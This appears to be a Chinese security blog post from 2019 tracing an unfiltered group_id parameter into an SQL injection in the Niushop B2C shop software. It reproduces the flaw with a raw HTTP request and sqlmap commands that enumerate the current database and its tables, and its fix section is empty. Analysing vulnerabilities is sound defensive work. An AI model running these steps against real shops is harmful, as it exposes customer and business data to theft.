某Shop SQL注入(二)
Onlywait 漏洞分析 10199浏览 · 2019-11-19 07:31

0x01 前言

Niushop B2C商城系统基于ThinkPHP5.0开发,源码全部开放(100%),商用免费,四网合一,满足用户、企业、开发者、服务商等角色要求

0x02 代码分析

跟踪到/Application/(wap/shop)/Controller/Goods.php中的promotionZone方法

  • 1337 Line: 判断是否是ajax请求
  • 1338 Line: 获取get参数为page的值并赋给$page_index
  • 1339 Line: 获取get参数为group_id的值并赋给$group_id
  • 1343 Line: 判断$group_id是否不为空
  • 1344 Line: 将$group_id拼接到SQL语句中并赋给$condition
  • 1353 Line: 将$condition传入到GoodsService中的getGoodsList方法中

跟踪到/data/service/Goods.php中的getGoodsList方法:

  • 112 Line: $condition自上而下无过滤到这里传入到模型NsGoodsViewModel中的getGoodsViewList

跟踪到/data/model/NsGoodsViewModel.php中的getGoodsViewList方法:

  • 43 Line: 将$condition传入当前模型中的getGoodsViewQuery方法
    跟踪到/data/model/NsGoodsViewModel.php中的getGoodsViewQuery方法:
  • 95: Line: 这里又将$condition传入到基类中的viewPageQuery方法
    跟踪到/data/model/BaseModel.php中的viewPageQuery方法:
  • 到方法体中可以看到$condition被带入查询了,未见过滤,从而导致了SQL注入

0x03 漏洞探测

0x04 漏洞复现

GET /index.php?s=/wap/Goods/promotionZone&group_id=*&page=1 HTTP/1.1
Host: 172.16.209.129:8085
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.209.129:8085/index.php/wap/goods/promotionZone
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735
Connection: close
  • 将数据包保存为niushop.txt
    sqlmap -r niushop.txt  --random-agent --batch --dbms "mysql"
    sqlmap -r niushop.txt  --random-agent --batch --dbms "mysql" --current-db
    sqlmap -r niushop.txt  --random-agent --batch --dbms "mysql" -D niushop_b2c --tables

0x05 漏洞修复

0 条评论
某人
表情
可输入 255